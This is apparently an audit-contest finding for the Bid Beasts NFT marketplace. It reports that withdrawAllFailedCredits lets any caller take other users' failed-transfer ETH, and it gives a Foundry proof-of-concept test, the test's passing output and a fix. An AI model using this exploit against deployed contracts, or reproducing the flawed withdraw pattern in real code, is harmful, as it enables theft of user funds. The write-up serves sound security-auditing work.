Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Vulnerability in WithdrawAllFailedCredits() Leading to Stuck or Lost Funds

ilhamitugral

Root + Impact

Description

Normal behavior:
The marketplace should allow an address that has failed transfer credits (credits accumulated when previous ETH transfers to that address failed) to withdraw only their own credits. Withdrawals should correctly zero the credited account and send the funds to that credited account.

Specific issue:
BidBeastNFTMarket::withdrawAllFailedCredits(address _receiver) reads the credit amount from BidBeastNFTMarket::failedTransferCredits[_receiver] but clears the mapping and sends funds to msg.sender. This mismatch allows any caller to withdraw another address's credits by passing that address as _receiver, resulting in theft of users' failed-transfer funds.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • When any user (or contract) has a non-zero failedTransferCredits entry — this routinely occurs when transfer/call to that recipient reverted (for example, a contract with a rejecting receive()), the mapping holds a positive balance that can be targeted.

  • When other marketplace interactions lead to failed transfers (bids/refunds) — marketplace workflows regularly attempt transfers to bidders/sellers; one failed transfer is sufficient to create exploitable credits.

Impact: Critical / High

  • Direct and immediate theft of ETH from other users' credit balances — attacker can drain other users' failedTransferCredits without privileges.

  • Loss of user funds and marketplace trust; potential regulatory/financial consequences for operator. Also opens path to automated griefing/extraction scripts.

Proof of Concept

The following Foundry-style test is a minimal PoC that reproduces the exploit — it creates failed-transfer credits for rejector and then shows an ATTACKER withdrawing them by calling BidBeastNFTMarket::withdrawAllFailedCredits(address(rejector)):

function test_exploit_withdrawAllFailedCredits() public {
​
// States
address ATTACKER = makeAddr("ATTACKER");
​
// Mint NFT's
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
​
// List NFT's
vm.startPrank(SELLER);
nft.setApprovalForAll(address(market), true);
market.listNFT(0, 0.5 ether, 0);
vm.stopPrank();
​
// Let's bid as a Rejector contract (its receive() will revert)
vm.deal(address(rejector), 2 ether);
vm.startPrank(address(rejector));
market.placeBid{value: 1 ether}(0);
vm.stopPrank();
​
// BIDDER_1 sends new bid causing the bid refund to Rejector to fail
vm.prank(BIDDER_1);
market.placeBid{value: 1.25 ether}(0);
// At this point, rejector's receive() fails and failedTransferCredits[rejector] > 0
​
// Check Credit status
uint256 credit = market.failedTransferCredits(address(rejector));
assertGt(credit, 0, "Rejector should have failed credits");
​
// ATTACKER withdraws other's credits
vm.deal(ATTACKER, 0);
uint256 before = ATTACKER.balance;
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(rejector));
uint256 _after = ATTACKER.balance;
​
// ATTACKER gained the full credit amount (the exploit)
assertEq(_after - before, credit);
}

Result:

Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_exploit_withdrawAllFailedCredits() (gas: 375998)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 829.40µs (246.93µs CPU time)
​
Ran 1 test suite in 3.56ms (829.40µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Remove the address parameter and make withdraw operate only on msg.sender. Add an event and (optionally) nonReentrant.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ // Effects: zero the mapping before external call (prevents double-withdrawal).
+ failedTransferCredits[msg.sender] = 0;
+
+ // Interactions: send funds to the rightful owner.
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!